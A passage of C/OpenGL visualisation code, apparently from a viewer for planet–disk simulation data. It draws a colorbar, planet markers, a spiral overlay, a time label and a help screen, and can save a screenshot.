               double rm = r_jph[-1]/rescale;
               double zp = z_kph[Nz-1]/rescale;
               double zm = z_kph[  -1]/rescale;

               glVertex3f( rp-xoff , -yoff+zoff , zp );
               glVertex3f( rm-xoff , -yoff+zoff , zp );
               glVertex3f( rm-xoff , -yoff+zoff , zm );
               glVertex3f( rp-xoff , -yoff+zoff , zm );
               glEnd();
            }
         }
      }
   }


   if( draw_bar ){
      double xb = 0.6;
      double hb = 1.0;
      double wb = 0.02;
      int Nb = 1000;
      double dy = hb/(double)Nb;
      int k;
      for( k=0 ; k<Nb ; ++k ){
         double y = (double)k*dy - .5*hb;
         double val = (double)k/(double)Nb;
         float rrr,ggg,bbb;
         get_rgb( val , &rrr , &ggg , &bbb , cmap );
         glLineWidth(0.0f);
         glColor3f( rrr , ggg , bbb );
         glBegin(GL_POLYGON);
         glVertex3f( xb    , y    , camdist + .001 ); 
         glVertex3f( xb+wb , y    , camdist + .001 ); 
         glVertex3f( xb+wb , y+dy , camdist + .001 ); 
         glVertex3f( xb    , y+dy , camdist + .001 ); 
         glEnd();
      }
      int Nv = 8;
      for( k=0 ; k<Nv ; ++k ){
         double y = (double)k*hb/(double)(Nv-1) - .5*hb;
         double val = (double)k/(double)(Nv-1)*(maxval-minval) + minval;
         char valname[256];
         sprintf(valname,"%+.2e",val);
         glLineWidth(1.0f);
         glColor3f(0.0,0.0,0.0);
         glBegin(GL_LINE_LOOP);
         glVertex3f( xb    , y , camdist + .0011 );
         glVertex3f( xb+wb , y , camdist + .0011 );
         glEnd();
         glutPrint( xb+1.5*wb , y-.007 , camdist + .001 ,glutFonts[6] , valname , 0.0f, 0.0f , 0.0f , 0.5f );
      }
   } 

   if( draw_planet ){
      double eps = 0.01;
      int p;
      for( p=0 ; p<Npl ; ++p ){
         double r   = thePlanets[p][0]/rescale;
         double phi = thePlanets[p][1];
         if( t_off && !p_off ) phi -= t;
         if( p_off ) phi -= thePlanets[1][1];
         glColor3f(0.0,0.0,0.0);
         glLineWidth(2.0);
         glBegin(GL_LINE_LOOP);
         glVertex3f( r*cos(phi)-xoff+eps , r*sin(phi)-yoff+eps , camdist+.001 );
         glVertex3f( r*cos(phi)-xoff-eps , r*sin(phi)-yoff+eps , camdist+.001 );
         glVertex3f( r*cos(phi)-xoff-eps , r*sin(phi)-yoff-eps , camdist+.001 );
         glVertex3f( r*cos(phi)-xoff+eps , r*sin(phi)-yoff-eps , camdist+.001 );
         glEnd();
      }
   }

   if( draw_spiral ){
      double rp   = 5.0;//thePlanets[1][0];
      double Mach = 3.65;
      double p0 = 1.2;
      double dr = .07;
      int Nr = 200;
      double Rmin = 0.5;
      double Rmax = 1.1;
      int k;
      glLineWidth(3.0f);
      glColor3f(0.0,0.0,0.0);
      //glColor3f(1.0,1.0,1.0);
      glBegin(GL_LINE_LOOP);
      for( k=0 ; k<Nr ; ++k ){
         //double phi0 = ((double)k+.5)/(double)Nr*2.*M_PI;//(3.-2.*sqrt(1./r)-r)*20.;
         double x = ((double)k+.5)/(double)Nr;
         //double r = .001*pow(.5/.001,x);
         double r = .5*pow(1.5/.5,x);
         //double phi0 = p0-log(r/0.001)*Mach;//(3.-2.*sqrt(1./r)-r)*5.;
         double phi0 = (3.-2.*sqrt(1./r)-r)*20.;
         if( r<1. ) phi0 = -phi0;
//         double x0 = rp + dr*cos(phi0);
//         double y0 = dr*sin(phi0);
  
         double phi = phi0;
//         double r = rp;       

//         double phi = atan2(y0,x0);
//         double phi = ((double)k+.5)/(double)Nr*2.*M_PI*9.32 + 4.*M_PI;
//         double r   = sqrt(x0*x0+y0*y0);
//         double r = pow(phi/10.,-2.);
//         double r   = 2./(1.+sin(phi));//1.0;//((double)k+0.5)/(double)Nr*(Rmax-Rmin) + Rmin;
//         if( r<1. ) phi = -phi;
         r /= rescale;
         
         glVertex3f( r*cos(phi)-xoff , r*sin(phi)-yoff , camdist + .0011 );
         if( k%2==1 ){
            glEnd();
            glBegin(GL_LINE_LOOP);
         }
      }
      glEnd();
/*
      e += 0.01;
      glBegin(GL_LINE_LOOP);
      for( k=0 ; k<Nr ; ++k ){
         double phi0 = ((double)k-.5)/(double)Nr*2.*M_PI;//(3.-2.*sqrt(1./r)-r)*20.;
         double x0 = 1.+e*cos(phi0);
         double y0 = e*sin(phi0);
         
         double phi = atan2(y0,x0);
         double r   = sqrt(x0*x0+y0*y0);
//         double phi = (double)k/(double)Nr*2.*M_PI;//(3.-2.*sqrt(1./r)-r)*20.;
//         double r   = 2./(1.+sin(phi));//1.0;//((double)k+0.5)/(double)Nr*(Rmax-Rmin) + Rmin;
//         if( r<1. ) phi = -phi;
         r /= rescale;
         
         glVertex3f( r*cos(phi)-xoff , r*sin(phi)-yoff , camdist + .0011 );
         if( k%2==1 ){
            glEnd();
            glBegin(GL_LINE_LOOP);
         }
      }
      glEnd();
*/
   }
   }

   if( draw_t ){
      char tprint[256];
      sprintf(tprint,"t = %.2e",t/2./M_PI);
      glutPrint( -.6 , .5 , camdist + .001 , glutFonts[6] , tprint , 0.0f, 0.0f , 0.0f , 0.5f );
  //    sprintf(tprint,"uMax = %.1f",uMax);
  //    glutPrint( -.8 , .4 , camdist + .001 , glutFonts[6] , tprint , 0.0f, 0.0f , 0.0f , 0.5f );
   }
   if( help_screen ){
      int NLines = 9;
      double dy = -.04;
      char help[NLines][256];
      sprintf(help[0],"Help Display:");
      sprintf(help[1],"b - Toggle Colorbar");
      sprintf(help[2],"c - Change Colormap");
      sprintf(help[3],"f - Toggle Max/Min Floors");
      sprintf(help[4],"p - Toggle Planet Data");
      sprintf(help[5],"1-9 - Choose Primitive Variable to Display");
      sprintf(help[6],"wasd - Move Camera");
      sprintf(help[7],"z/x - Zoom in/out");
      sprintf(help[8],"h - Toggle Help Screen");
      int i;
      for( i=0 ; i<NLines ; ++i ){
         glutPrint( -.8 , i*dy , camdist + .001 , glutFonts[6] , help[i] , 0.0f, 0.0f , 0.0f , 0.5f );
      }
   } 

   if( CommandMode ){
      TakeScreenshot("out.ppm");
      exit(1);
   }

   glutSwapBuffers();

}